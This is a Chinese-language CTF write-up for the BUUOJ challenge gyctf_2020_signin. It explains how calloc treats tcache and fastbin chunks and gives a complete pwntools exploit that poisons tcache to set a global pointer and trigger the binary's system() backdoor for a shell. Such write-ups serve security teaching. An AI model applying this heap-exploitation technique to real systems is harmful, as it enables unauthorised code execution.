i春秋公益赛之signin
题目链接:https://buuoj.cn/challenges#gyctf_2020_signin
查看程序保护
只开了canary和NX保护,在IDA查看反编译出来的为代码时发现程序给了一个后门
很明显,我们只要往ptr中写入一些数据使其不为空就能getshell。这题的巧妙之处在于在调用system前调用了calloc函数。
calloc有一下几个特性:
- 不会分配tcache中的chunk
- 在分配fastbin中的chunk时若还有其他大小相同的fastbin_chunk则把它们全部放入tcache中
利用这两个特性我们就可以向ptr中写入数据,最终的exp如下:
from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) #p = process('./pwn') p = remote('node3.buuoj.cn', 27231) def Add(index): p.sendlineafter('your choice?', '1') p.sendlineafter('idx?\n', str(index)) def Edit(index, content): p.sendlineafter('your choice?', '2') p.sendlineafter('idx?\n', str(index)) p.send(content) def Delete(index): p.sendlineafter('your choice?', '3') p.sendlineafter('idx?\n', str(index)) Add(0) Add(1) Add(2) Add(3) Add(4) Add(5) Add(6) Add(7) Delete(0) Delete(1) Delete(2) Delete(3) Delete(4) Delete(5) Delete(6) Delete(7) Add(8) payload = p64(0x4040c0-0x10).ljust(0x50, '\x00') #gdb.attach(p) Edit(7, payload) p.sendlineafter('your choice?', '6') p.interactive()